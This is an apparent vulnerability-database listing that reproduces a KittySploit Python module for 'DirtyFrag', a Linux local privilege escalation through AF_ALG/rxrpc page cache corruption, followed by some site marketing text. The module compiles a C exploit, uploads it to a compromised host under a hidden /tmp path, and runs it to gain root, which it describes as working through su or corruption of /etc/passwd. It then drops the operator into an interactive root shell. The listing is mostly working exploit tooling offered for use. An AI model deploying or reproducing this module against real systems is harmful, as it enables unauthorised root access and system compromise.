Lucene search
+L

DirtyFrag Local Privilege Escalation

🗓️ 08 May 2026 09:44:27Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

DirtyFrag local privilege escalation via AF_ALG/rxrpc page cache corruption.

Refs
Code
from kittysploit import *
from core.framework.post import Post
from core.lib.compiler.zig_compiler import ZigCompiler
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin
import os
import shlex
import socket
import tempfile
import time
from pathlib import Path

class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        "name": "DirtyFrag Local Privilege Escalation",
        "description": "Exploits the 'DirtyFrag' (AF_ALG/rxrpc) page cache corruption vulnerability "
                       "to achieve local privilege escalation. This module compiles a C exploit, "
                       "uploads it to the target, and executes it to gain root via /usr/bin/su "
                       "or /etc/passwd corruption.",
        "author": ["Onurcan Genç", "KittySploit Team"],
        "platform": [Platform.LINUX],
        "arch": [Arch.X64],
        "session_type": [SessionType.SHELL, SessionType.SSH],
        "references": [
            "https://www.kernel.org/doc/html/latest/userspace-api/netlink/xfrm.html",
            "https://www.kernel.org/doc/html/latest/crypto/userspace-if.html"
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    remote_path = OptString("/tmp/.df_lpe", "Remote path to upload the exploit", required=True)
    force_esp = OptBool(False, "Force the ESP (AF_ALG) exploitation path", required=False)
    force_rxrpc = OptBool(False, "Force the rxrpc exploitation path", required=False)

    @staticmethod
    def _as_bool(value) -> bool:
        if isinstance(value, bool):
            return value
        return str(value).strip().lower() in ("1", "true", "yes", "y", "on")

    def _exploit_command(self) -> str:
        parts = [shlex.quote(str(self.remote_path).strip())]
        if self._as_bool(self.force_esp):
            parts.append("--force-esp")
        if self._as_bool(self.force_rxrpc):
            parts.append("--force-rxrpc")
        return " ".join(parts)

    def _session_id(self) -> str:
        return str(self.session_id.value if hasattr(self.session_id, "value") else self.session_id).strip()

    def _session_type(self) -> str:
        sid = self._session_id()
        if not sid or not self.framework or not getattr(self.framework, "session_manager", None):
            return ""
        session = self.framework.session_manager.get_session(sid)
        return (getattr(session, "session_type", "") or "").strip().lower() if session else ""

    @staticmethod
    def _shell_quote(value) -> str:
        return "'" + str(value).replace("'", "'\"'\"'") + "'"

    def _upload_binary(self, binary_data: bytes) -> bool:
        remote_path = str(self.remote_path).strip()
        if not self.linux_upload_bytes(binary_data, remote_path, executable=True, pty=False):
            return False
        print_success(f"Binary uploaded and marked executable: {remote_path}")
        return True

    def _get_ssh_shell(self):
        if not self.framework or not getattr(self.framework, "shell_manager", None):
            print_error("Shell manager not available.")
            return None

        sid = self._session_id()
        if not sid:
            print_error("Session ID is missing.")
            return None

        shell = self.framework.shell_manager.get_shell(sid)
        if shell and getattr(shell, "shell_name", "") == "ssh":
            return shell

        shell = self.framework.shell_manager.create_shell(sid, "ssh", session_type="ssh", framework=self.framework)
        if not shell or getattr(shell, "shell_name", "") != "ssh":
            print_error("This module needs an SSH session with an interactive PTY.")
            return None
        return shell

    def _get_classic_shell(self):
        if not self.framework or not getattr(self.framework, "shell_manager", None):
            print_error("Shell manager not available.")
            return None

        sid = self._session_id()
        if not sid:
            print_error("Session ID is missing.")
            return None

        shell = self.framework.shell_manager.get_shell(sid)
        if shell and getattr(shell, "shell_name", "") == "classic":
            return shell

        shell = self.framework.shell_manager.create_shell(sid, "classic", session_type="standard", framework=self.framework)
        if not shell or getattr(shell, "shell_name", "") != "classic":
            print_error("This classic session does not expose a raw interactive socket.")
            return None
        return shell

    def _run_via_ssh_pty(self, trigger: str) -> bool:
        shell = self._get_ssh_shell()
        if not shell:
            return False
        if not getattr(shell, "is_connected", False) or not getattr(shell, "connection", None):
            try:
                shell._initialize_ssh_connection()
            except Exception:
                pass
        if not getattr(shell, "_ensure_interactive_channel", lambda: False)():
            return False

        print_success("Launching DirtyFrag inside a persistent SSH PTY.")
        print_info("If it lands, this prompt becomes root. Use `background` to return without closing the PTY.")

        banner = shell._drain_interactive_output(max_wait=0.8, idle_grace=0.2)
        if banner:
            print(banner, end="", flush=True)

        shell.channel.send(trigger + "\n")
        return self._interactive_pty_loop(shell)

    def _run_via_classic_socket(self, trigger: str) -> bool:
        shell = self._get_classic_shell()
        if not shell:
            return False
        if not getattr(shell, "connection", None):
            try:
                shell._initialize_connection()
            except Exception:
                pass
        if not getattr(shell, "connection", None):
            print_error("Classic shell has no live raw socket connection.")
            return False

        print_warning("Launching DirtyFrag on a classic shell socket (best effort, no PTY).")
        print_info("If it lands, commands are executed as root on this same session. Use `background` to return.")

        self._drain_classic_socket(shell, max_wait=0.4, idle_grace=0.1)
        shell.connection.sendall((trigger + "\n").encode("utf-8", errors="ignore"))
        return self._interactive_classic_loop(shell)

    @staticmethod
    def _drain_classic_socket(shell, max_wait: float = 0.4, idle_grace: float = 0.12) -> str:
        conn = getattr(shell, "connection", None)
        if not conn:
            return ""

        chunks = []
        deadline = time.monotonic() + max(0.05, float(max_wait))
        last_data = 0.0
        while time.monotonic() < deadline:
            try:
                conn.settimeout(0.05)
                data = conn.recv(65535)
                if not data:
                    break
                chunks.append(data.decode("utf-8", errors="ignore"))
                last_data = time.monotonic()
            except socket.timeout:
                if chunks and last_data and (time.monotonic() - last_data) >= max(0.05, float(idle_grace)):
                    break
            except Exception:
                break
        return "".join(chunks)

    def _interactive_pty_loop(self, shell) -> bool:
        while True:
            try:
                output = shell._drain_interactive_output(max_wait=0.4, idle_grace=0.12)
                if output:
                    print(output, end="", flush=True)

                line = input("")
                command = (line or "").strip()
                if not command:
                    continue

                if command.lower() in ("background", "back"):
                    print_info("Returning to KittySploit; the SSH PTY channel is left open.")
                    return True

                if command.lower() == "exit":
                    shell.channel.send("exit\n")
                    time.sleep(0.2)
                    output = shell._drain_interactive_output(max_wait=0.8, idle_grace=0.2)
                    if output:
                        print(output, end="", flush=True)
                    try:
                        shell.channel.close()
                    except Exception:
                        pass
                    shell.channel = None
                    return True

                shell.add_to_history(command)
                shell.channel.send(command + "\n")

            except KeyboardInterrupt:
                try:
                    shell.channel.send("\x03")
                except Exception:
                    pass
                print_info("^C")
            except EOFError:
                print_info("Returning to KittySploit; the SSH PTY channel is left open.")
                return True
            except Exception as exc:
                print_error(f"Interactive PTY error: {exc}")
                return False

    def _interactive_classic_loop(self, shell) -> bool:
        while True:
            try:
                output = self._drain_classic_socket(shell, max_wait=0.4, idle_grace=0.12)
                if output:
                    print(output, end="", flush=True)

                line = input("")
                command = (line or "").strip()
                if not command:
                    continue

                if command.lower() in ("background", "back"):
                    print_info("Returning to KittySploit; the classic socket is left open.")
                    return True

                if command.lower() == "exit":
                    shell.connection.sendall(b"exit\n")
                    time.sleep(0.2)
                    output = self._drain_classic_socket(shell, max_wait=0.8, idle_grace=0.2)
                    if output:
                        print(output, end="", flush=True)
                    return True

                shell.add_to_history(command)
                shell.connection.sendall((command + "\n").encode("utf-8", errors="ignore"))

            except KeyboardInterrupt:
                try:
                    shell.connection.sendall(b"\x03")
                except Exception:
                    pass
                print_info("^C")
            except EOFError:
                print_info("Returning to KittySploit; the classic socket is left open.")
                return True
            except Exception as exc:
                print_error(f"Interactive classic socket error: {exc}")
                return False

    def run(self):
        """Execute the post-exploitation exploit"""
        if not self.linux_require_linux():
            return False

        print_status(f"Starting DirtyFrag LPE for session {self.session_id}")

        # 1. Prepare C source
        c_file_path = Path(__file__).parent / "dirty_frag_lpe.c"
        if not c_file_path.exists():
            print_error(f"C source file not found at {c_file_path}")
            return False

        with open(c_file_path, "r") as f:
            c_source = f.read()

        # 2. Compile C source using Zig
        print_status("Compiling DirtyFrag exploit for x64...")
        
        compiler = ZigCompiler()
        if not compiler.is_available():
            print_error("Zig compiler not found. Please install Zig.")
            return False

        with tempfile.TemporaryDirectory() as tmp_dir:
            local_bin_path = os.path.join(tmp_dir, "dirty_frag_lpe")
            
            # Zig can compile C files directly. We'll write the source to a temporary .c file.
            temp_c_file = os.path.join(tmp_dir, "main.c")
            with open(temp_c_file, "w") as f:
                f.write(c_source)
            
            # Compile the C source directly with the framework Zig binary.
            zig_bin = compiler.zig_path
            target_triple = "x86_64-linux-musl"
            env = os.environ.copy()
            env.setdefault("ZIG_LOCAL_CACHE_DIR", os.path.join(tmp_dir, "zig-cache"))
            env.setdefault("ZIG_GLOBAL_CACHE_DIR", os.path.join(tmp_dir, "zig-global-cache"))
            
            cmd = [
                zig_bin, "cc", "-target", target_triple,
                temp_c_file, "-o", local_bin_path,
                "-static", "-O3", "-s"
            ]
            
            import subprocess
            print_info("Running compilation command")
            try:
                result = subprocess.run(cmd, env=env, capture_output=True, text=True, timeout=120)
                if result.returncode != 0:
                    print_error(f"Compilation failed: {result.stderr}")
                    return False
            except Exception as e:
                print_error(f"Compilation error: {e}")
                return False

            # 3. Upload binary
            print_status(f"Uploading binary to {self.remote_path}...")
            with open(local_bin_path, "rb") as f:
                binary_data = f.read()

            if not self._upload_binary(binary_data):
                return False

            # 5. Execute exploit in the same interactive channel that should become root.
            trigger = self._exploit_command()
            if self._session_type() == "ssh":
                return self._run_via_ssh_pty(trigger)
            return self._run_via_classic_socket(trigger)

    def check(self):
        """Check if target is likely vulnerable"""
        arch = self.linux_execute("uname -m").strip()
        if arch not in ("x86_64", "amd64"):
            print_error(f"Architecture {arch} is not supported by this exploit.")
            return False
            
        print_status("Target architecture is supported.")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
6.2Medium risk
Vulners AI Score6.2
1